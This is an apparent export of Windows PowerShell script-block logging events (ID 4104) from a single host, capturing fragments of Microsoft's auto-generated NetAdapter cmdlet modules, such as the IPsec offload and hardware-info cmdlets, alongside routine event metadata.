# .EXTERNALHELP MSFT_NetAdapterIPsecOffload.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Disable-NetAdapterIPsecOffload' -Alias '*'
ScriptBlock ID: 795f8562-613e-4769-9185-52e80eedee46
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1853 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-a428-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 3):
mdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Set', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterIPsecOffload.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetAdapterIPsecOffload' -Alias '*'
function Enable-NetAdapterIPsecOffload
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Low', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterIPsecOffloadV2SettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
ScriptBlock ID: 795f8562-613e-4769-9185-52e80eedee46
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1852 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-a428-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 3):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterIPsecOffloadV2SettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterIPsecOffload
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterIPsecOffloadV2SettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterIPsecOffload.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterIPsecOffload' -Alias '*'
function Set-NetAdapterIPsecOffload
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Low', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterIPsecOffloadV2SettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[bool]
${Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Enabled')) {
[object]$__cmdletization_value = ${Enabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__c
ScriptBlock ID: 795f8562-613e-4769-9185-52e80eedee46
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1851 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-a428-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterHardwareInfoSettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterHardwareInfo
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterHardwareInfoSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterHardwareInfo.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterHardwareInfo' -Alias '*'
ScriptBlock ID: 0f621a41-3dc0-4069-bde7-ff043abdb07a
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1850 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0000-f6ed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 3):
('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('EncapsulationType')) {
[object]$__cmdletization_value = ${EncapsulationType}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'EncapsulationType'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterEncapsulatedPacketTaskOffload.EncapsulationType'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'EncapsulationType'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterEncapsulatedPacketTaskOffload.EncapsulationType'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Disable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
